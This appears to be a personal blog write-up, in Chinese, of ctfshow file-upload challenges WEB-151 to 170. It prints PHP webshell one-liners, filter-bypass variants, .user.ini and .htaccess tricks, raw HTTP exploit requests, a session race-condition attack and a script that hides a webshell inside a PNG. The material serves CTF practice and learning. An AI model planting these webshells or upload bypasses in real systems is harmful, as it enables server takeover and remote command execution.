Z1d10tのBlog

A note for myself,have fun!

  1. 1. WEB-151(前端验证)
  2. 2. WEB-152(后端Content-Type校验)
  3. 3. WEB-153(.user.ini)
  4. 4. WEB-154~155(.user.ini+短标签)
  5. 5. WEB-156([]绕过)
  6. 6. WEB-157~159({} ; ()绕过)
  7. 7. WEB-160(日志包含 绕log)
  8. 8. WEB-161(文件头检测绕过)
  9. 9. WEB-162~163(session 条件竞争)
  10. 10. WEB-164(PNG 二次渲染)
  11. 11. WEB-165(jpg二次渲染)
  12. 12. WEB-166(zip)
  13. 13. WEB-167(.htaccess)
  14. 14. WEB-168(免杀)
  15. 15. WEB-169~WEB-170(日志包含)
  16. 16. 结尾:
  17. 17.

ctfshow-文件上传

WEB-151(前端验证)

上传png后缀的 然后抓包改回php即可

WEB-152(后端Content-Type校验)

Content-Type是返回消息中非常重要的内容,表示后面的文档属于什么MIME类型。

所以跟151做法一样 先上传png然后bp改后缀即可

参考:

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types

https://segmentfault.com/a/1190000013056786

WEB-153(.user.ini)

前两种通过修改后缀这里不能用了

访问/upload 发现有内容nothing here 然后可以猜到这里有/uplaod/index.php

那么目标就很明确了 我们上传的路径下有一个现成的php文件 理所当然想到通过上传.user.ini来做这道题

但是.htaccess只是适用于apache,如果变成niginx或者iis则不会被解析

通过报错我们可以看到题目环境中间件是nginx 但是这也不影响我们用.user.ini

因为只要用了fastcgi我们就可以用.user.ini

FastCGI常用于将Web服务器(如Nginx、Apache)与应用程序(如PHP、Python、Ruby)进行集成,以提供动态内容的生成和处理能力。它是一种高性能、灵活和可扩展的Web应用程序交互协议。

.user.ini:

.user.ini也是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置。但是如果想要把某个文件里面的配置与全局的php.ini不同,则可以在php文件中加上ini_set()来配置特定的配置变量。

而.user.ini和.htaccess一样是对当前目录的所以php文件的配置设置,即写了.user.ini和它同目录的文件会优先使用.user.ini中设置的配置属性。

偷的https://www.cnblogs.com/sijidou/p/13121301.html

简单理解就是php的配置文件它可以设置一些配置 比如怎么去解析我们上传的文件一类的

内容:

1
2
3
4
//.user.ini

auto_prepend_file=top.html
auto_append_file=down.html

怎么理解?

就是把我们指定的文件包含进宿主php文件中 利用其实本质就是用require()去包含我们的恶意文件并且即使后缀不是php文件也可被当作php文件来解析

这里require()完全就是include()函数一样

一个是宿主php文件头部去包含 一个是尾部两者皆可

先将.user.ini增加后缀png然后抓包去除 在上传我们指定的恶意文件

这时我们前面已经说的很清楚了 直接访问/upload/index.php 这样我们的木马就被包含在这个index.php文件中了而不是直接去访问我们的木马文件

可以看到 已经包含在头部了

img

WEB-154~155(.user.ini+短标签)

waf了文件内容php字样

用短标签bypass即可

1
<?=@eval($_POST[x]);?>

WEB-156([]绕过)

在154~155基础上过滤了[]{}bypass

1
<?=@eval($_POST{x});?>

WEB-157~159({} ; ()绕过)

在前面基础上过滤了{}和分号 那我们不写一句话了 直接命令执行读flag

1
<?=`tac ./../f*`;?>` 或者`<?=system('tac ../f*')?>

159不行 过滤了括号只能用第一种

WEB-160(日志包含 绕log)

<?=include"/var/lo"."g/nginx/access.lo"."g"?>log用拼接绕过

然后文件头User-Agent包含一句话木马即可

WEB-161(文件头检测绕过)

在160基础上增加了检测文件头的函数 增加图片头GIF89a绕过即可

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

img

其实GIF89a就是我们一般见到的gif动图的文件头

通过010对一个gif图分析就能看到文件头

img

WEB-162~163(session 条件竞争)

之前别的模块做过类似的

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://953ea87b-dff4-45be-adac-15a38b1fd7e3.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

上传一个文件改数据包:

加上木马和Cookie:PHPSESSID=ban

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST / HTTP/1.1
Host: 953ea87b-dff4-45be-adac-15a38b1fd7e3.challenge.ctf.show
Content-Length: 352
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybDQ9C8w3UWP0rUGY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie:PHPSESSID=ban
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarybDQ9C8w3UWP0rUGY
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system('cat ../f*');?>
------WebKitFormBoundarybDQ9C8w3UWP0rUGY
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>


------WebKitFormBoundarybDQ9C8w3UWP0rUGY--

然后再将.user.ini改为

1
2
GIF89a
auto_prepend_file=/tmp/sess_ban

然后两个条件竞争一直发包即可

WEB-164(PNG 二次渲染)

随便上传一个图片 然后我们可以访问http://6a0dd0db-7621-467f-8c76-dd8bd63732b6.challenge.ctf.show/download.php?image=32d3ca5e23f4ccf1e4c8660c40e75f33.png 可以看到是通过文件包含形式

二次渲染就是我们夹杂在图像里的木马上传后会被删掉 我们需要下载下来找到它不删除的地方把我们的木马加进去然后利用文件包含执行我们的木马

因为我的php是8.2.0的版本 修改ini文件 extension=gd把前面的;去掉

然后才能用这个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); //要修改的图片的路径

/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>

img

可以看到木马是以短标签写进去的

抓包执行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system HTTP/1.1
Host: 6a0dd0db-7621-467f-8c76-dd8bd63732b6.challenge.ctf.show
Content-Length: 14
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://6a0dd0db-7621-467f-8c76-dd8bd63732b6.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://6a0dd0db-7621-467f-8c76-dd8bd63732b6.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.729509020.1680361470
Connection: close

1=cat+flag.php

WEB-165(jpg二次渲染)

傻逼题 没啥好说的

WEB-166(zip)

给zip后面添加一句话上传 然后包含执行 题目环境有问题 返回包是空的

WEB-167(.htaccess)

报500错误 环境有问题 无语了

.htaccess也是php的配置文件 是一个局部配置文件 只对该文件所在目录下的文件起作用

我们可以上传上去jpg文件 但是不是php文件 无法解析

所以我们需要.htaccess这个文件去将我们的jpg文件解析成php文件

内容:

1
2
3
<FilesMatch "1.jpg"> //需要解析的文件名
SetHandler application/x-httpd-php
</FilesMatch>

WEB-168(免杀)

过滤了eval get post system

paylaod:

1
2
3
4
<?=`$_REQUEST[1]`;?>
<?php echo `$_REQUEST[x]`;?>
<?php $_REQUEST[1]($_REQUEST[2]);?>
<?php $a='syste'.'m';($a)('ls ../'); //拼接

当时用反引号做的时候一直在想为什么返回包是空白 后来才想到这个反引号没有回显 要用echo一下 或者搭配短标签

WEB-169~WEB-170(日志包含)

可以上传php文件到upload下然后上传user.ini 里面的内容指向nginx的日志文件 然后请求头写入一句话木马 去包含访问即可

结尾:

真被某些题环境搞心态了

继续下一大陆 sql注入!!!!!!!!!!!!!!!!!!!

本文最后更新于 天前,文中所描述的信息可能已发生改变